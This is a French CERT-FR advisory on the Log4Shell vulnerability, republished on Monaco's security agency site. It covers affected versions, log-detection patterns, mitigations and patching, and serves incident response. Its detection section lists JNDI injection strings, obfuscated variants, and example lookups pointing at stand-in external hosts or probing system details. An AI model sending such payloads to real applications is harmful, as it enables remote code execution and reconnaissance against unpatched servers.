Accueil > Alertes CERT-MC > AVIS CERTFR - 2021 - ALE - 022

AVIS CERTFR - 2021 - ALE - 022

Objet : [MaJ] Vulnérabilité dans Apache Log4j

Référence : CERTFR-2021-ALE-022

Risque(s)

- Exécution de code arbitraire à distance

Systèmes affectés

- Apache Log4j versions 2.16.0 et 2.12.2 (java 7) [Mise à jour du 20 décembre 2021]
- Apache Log4j version 2.15.0
- Apache Log4j versions 2.0 à 2.14.1
- Apache Log4j versions 1.x (versions obsolètes) sous réserve d'une configuration particulière, cf. ci-dessous
- Les produits utilisant une version vulnérable de Apache Log4j : les CERT nationaux européens tiennent à jour une liste complète des produits et de leur statut vis-à-vis de la vulnérabilité [2]

Résumé

[Version initiale] Une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.

Cette vulnérabilité permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification.

Des preuves de concept ont déjà été publiées. Cette vulnérabilité fait désormais l'objet d'une exploitation active.

Le CERT-FR recommande de réaliser une analyse approfondie des journaux réseau. Les motifs suivants permettent d'identifier une tentative d'exploitation de cette vulnérabilité lorsqu'ils sont utilisés dans les URLs ou certaines en-têtes HTTP comme user-agent :

${jndi:

$%7Bjndi: (prend en compte un obscurcissement simple)

Cependant, les attaquants peuvent utiliser des moyens d’obscurcissement pour contourner les motifs de détection précédents. Les motifs suivants permettent de prendre en compte certaines méthodes d'obscurcissement mais peuvent provoquer des faux positifs :

${${
${::-
%24%7B%3A%3A-
${env:
${date:
${lower:
${upper:
hostName}
}${
${ (génère beaucoup de faux positifs, mais très exhaustif)

Afin de déterminer si une tentative d'exploitation a réussi, et dans le cas où vous disposeriez de journaux contenant des requêtes DNS, il est recommandé de les corréler aux résultats des motifs précédemment énoncés. En effet, si l’exécution d'une requête de type ${jndi:xxx://nom.domaine.com} a fonctionné, une résolution DNS sera alors effectuée pour résoudre le nom de domaine externe nom.domaine.com. L'émission d'une requête DNS peut également faire l'objet d'une trace dans les journaux du serveur applicatif. Ainsi, il peut être utile de chercher le motif com.sun.jndi.dns.DnsContext@ dans ces journaux.
Note : une résolution de domaine externe ne signifie pas qu'une exécution de code a réussi mais permet de confirmer que l'application est vulnérable. Il sera donc nécessaire de poursuivre l'analyse des journaux pour détecter une compromission.

En complément des informations ci-dessus, une requête de type ${jndi:dns://serveur_dns/enregistrement_TXT} est également utilisable par l'attaquant pour tester la présence de la vulnérabilité.

[Mise à jour du 20 décembre 2021]

Il est également intéressant de rechercher les motifs suivants dans les fichiers journaux des applications :
- le motif com.sun.jndi.dns.DnsContext@ apparaîtra dans le cas évoqué précédemment (injection DNS) mais aussi lorsqu'une injection LDAP est utilisée pour récupérer du contenu qui ne serait pas un objet java au standard rfc2713 : il peut s'agir d'un scan de détection ou d'une tentative erronée d'un attaquant
- l'injection sera enregistrée dans les journaux telle qu'elle a été soumise par l'attaquant si le serveur LDAP n'est pas joignable ou si l'objet qu'il souhaitait télécharger n'est pas trouvé sur le serveur LDAP : il est donc possible de trouver des tentatives d'injection sous une forme obscurcie dans les journaux, les motifs précédemment listés peuvent donc être utilisés pour identifier toutes les tentatives
- une erreur contenant le motif "Reference Class Name:" suivi d'un nom de classe puis des lignes commençant par "Type:" et "Content:" peut apparaître dans les journaux si l'injection LDAP fonctionne mais que la classe contenant la charge utile ne peut pas être récupérée sur le serveur LDAP visé
- il peut être intéressant de chercher des injections en DNS et LDAP basées sur la classe JavaLookup tels que ${java:hw}, ${java:vm} et ${java:os}. Ces dernières sont utilisées par les attaquants pour obtenir des informations sur la machine ciblée.

La version 2.15.0 recommandée jusqu'à présent est affectée par une autre vulnérabilité, désignée par l'identifiant CVE-2021-45046 [4]. Cette vulnérabilité permet à un attaquant non authentifié d'effectuer un déni de service. Par ailleurs, des chercheurs ont mis en évidence la possibilité d'exfiltrer des données dans certaines configurations non détaillées.
Par ailleurs, les versions 2.16.0 et 2.12.2 sont affectées par une nouvelle vulnérabilité, désignée par l'identifiant CVE-2021-45105 [5], qui permet de provoquer un déni de service à distance.

Il convient également de noter que des techniques permettent d'exploiter la vulnérabilité localement sans recourir à un serveur tiers malveillant. L'attaquant peut injecter un code malveillant dans la requête initiale s'il a suffisamment d'informations sur l'application vulnérable qu'il cible. Cette attaque requiert donc une première phase de reconnaissance et de collecte de données. Cette phase est possible tant que n'ont pas été appliqués : d'une part, un filtrage réseau adéquat et d'autre part, le correctif ou, à défaut, les mesures de contournement. Il est donc important de disposer des journaux de ces environnements pour rechercher des éventuelles traces d'exfiltration de données. Les moyens de détection précédemment peuvent être utilisés à cette fin.

Contournement provisoire

[Version initiale]

La version 1 de log4j a été initialement déclarée vulnérable cependant la vulnérabilité n'existe que si le composant JMS Appender est configuré pour prendre en compte JNDI. Il s'agit donc d'une configuration très spécifique [1][3].

Il est recommandé d'utiliser une version à jour de l'environnement d'exécution Java (les versions 8u191 et ultérieures apportent des restrictions pour les appels JNDI basés sur LDAP et RMI), cependant les codes d'exploitation les plus récents sont en mesure de contourner ces protections pour continuer d'exploiter la vulnérabilité.

La mise en place de filtres au niveau de vos pare-feux applicatifs pour bloquer les tentatives d'exploitation de cette vulnérabilité peut constituer une première mesure d'urgence mais elle reste insuffisante : les attaquants utilisent différentes techniques d'obscurcissement des données injectées pour contourner ces filtres.

[Mise à jour du 20 décembre 2021]

Les contournements proposés initialement ne permettent plus de se prémunir contre certaines formes d'exploitation. Face à la possibilité que d'autres exploitations soient encore découvertes y compris pour la version 2.15.0, le CERT-FR recommande d'utiliser les versions les plus à jour de la bibliothèque.

En cas d'impossibilité de migration, il reste possible de supprimer la classe Java vulnérable. Cette opération impose de tester le fonctionnement de l'application afin d'identifier les impacts de la modification sur son fonctionnement.

Cette suppression peut par exemple être effectuée avec la commande suivante : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Des outils de recherche de la bibliothèque Log4j sont proposés par le CERT/CC (non qualifiés par le CERT-FR) : https://github.com/CERTCC/CVE-2021-44228_scanner  
Le site du NCSC-NL recense également des outils, qui n'ont pas été qualifiés par le NCSC-NL ni par le CERT-FR : https://github.com/NCSC-NL/log4shell/tree/main/scanning  

Solution

Il est fortement recommandé aux utilisateurs d'applications ou de logiciels sur étagère basés sur la technologie Java/J2EE :

- de conserver les journaux a minima depuis le 1er décembre 2021 à des fins d'analyse ultérieure ;
- de préparer sans délai des mesures de préservation en cas d'incident majeur, notamment par la mise hors ligne de sauvegardes à jour ;
- de filtrer et de journaliser les flux sortants des serveurs pour les limiter aux seuls flux autorisés vers des services de confiance ;
- de prendre contact avec le développeur ou l'éditeur pour vérifier s'ils sont exposés à cette vulnérabilité et si un correctif est disponible.

Il est fortement recommandé aux développeurs/éditeurs :

- d'inventorier les solutions affectées par les vulnérabilités ;
- d'informer les utilisateurs et clients de leurs statuts et des actions en cours ;
- de corriger les solutions en utilisant a minima la version 2.16.0 pour java 8 ou la version 2.12.2 pour java 7 et idéalement la version 2.17.0 pour java 8 ou la version 2.12.3 (à venir) pour java 7 ; [Mise à jour du 20 décembre 2021]
- de fournir une nouvelle version de leurs solutions dans les plus brefs délais.

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

---------------------------------------------------------------

La mise à jour d’un produit ou d’un logiciel est une opération délicate qui doit être menée avec prudence. Il est notamment recommandé d’effectuer des tests autant que possible. Des dispositions doivent également être prises pour garantir la continuité de service en cas de difficultés lors de l’application des mises à jour comme des correctifs ou des changements de version.

Documentation

- Bulletin de sécurité Apache du 09 décembre 2021
https://logging.apache.org/log4j/2.x/security.html  
- Référence CVE CVE-2021-44228
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228  
- [1] https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126  
- [2] liste des produits et de leurs statuts vis-à-vis de la vulnérabilité
https://github.com/NCSC-NL/log4shell/tree/main/software  
- [3] Référence CVE CVE-2021-4104
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104  
- [4] Référence CVE CVE-2021-45046
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046  
- [5] Référence CVE CVE-2021-45105
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105  

Dernière version de ce document

https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/  

 

 

AVIS CERTFR - 2022 - AVI - 079

25 janvier 2022
actualite

Objet : Vulnérabilité dans strongSwanRéférence : CERTFR-2022-AVI-079Risque(s) - Déni de service à distance - Contournement de la politique de sécur... Lire la suite[+]

AVIS CERTFR - 2022 - AVI - 078

25 janvier 2022
actualite

Objet : Multiples vulnérabilités dans Foxit PDF Editor et Foxit PDF Reader versions MacOSRéférence : CERTFR-2022-AVI-078Risque(s) - Exécution de co... Lire la suite[+]

Contact

Agence Monégasque de Sécurité Numérique
24 rue du Gabian 
98000 MONACO

AMSN_contact@gouv.mc

Téléphone : (+377) 98 98 24 93
Bouton Alertes CSIRT-MC


       INFORMATIONS            PRATIQUES
Demande d'autorisation loi n°1.383
Conseils élémentaires
//amsn.gouv.mc/Alertes-CERT-MC/AVIS-CERTFR-2021-ALE-0223